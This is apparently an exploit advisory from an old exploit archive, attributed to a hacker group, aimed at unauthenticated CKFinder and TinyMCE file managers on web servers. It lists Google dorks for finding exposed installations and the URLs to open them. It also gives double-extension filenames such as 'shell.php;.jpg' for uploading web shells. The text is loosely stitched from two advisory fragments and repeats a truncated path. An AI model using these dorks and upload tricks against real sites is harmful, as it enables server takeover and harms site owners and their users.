/admin/js/tiny_mce/plugins/filemanager/InsertFile/insert_fil

/admin/js/tiny_mce/plugins/filemanager/InsertFile/insert_file.php


# [+] Google Dork 1 : inurl:ckfinder intext:"ckfinder.html" intitle:"Index of /ckfinder"
# [+] Google Dork 2 :
# [+] Date : 01/09/2013
# [+] Exploit Author : Türk Kuva-yi Milliye
# [+] Discovered By : By Veysel
# [+] Home :https://www.facebook.com/pages/T%C3%B...
# [+] Vendor Homepage : Türk Kuva-yi Milliye
# [+] Version : All Version
# [+] Tested on : Windows 7 & Linux
#
########################################­###############
#
# [+] Exploit:
#
# [+] http://[localhost]/ckfinder/ckfinder.htm­l
# [+] http://[localhost]/[path]/ckfinder/ckfin­der.html

[x] dork : "ckeditor/ckfinder/ckfinder.html" [x] Tested on : Windows XP sp3 Ar & Linux   **** Exploit Details **** - http://[localhost]/ckeditor/ckfinder/ckfinder.html - http://[localhost]/[path]/ckeditor/ckfinder/ckfinder.html   **** Attachtement **** - for Image Upload : http://[localhost]/ckeditor/ckfinder/ckfinder.html?Type=Images - for Image Upload : http://[localhost]/ckeditor/ckfinder/ckfinder.html?Type=Files   - exmShell : shell.php;.jpg, shell.asp;.jpg, or,, [txt]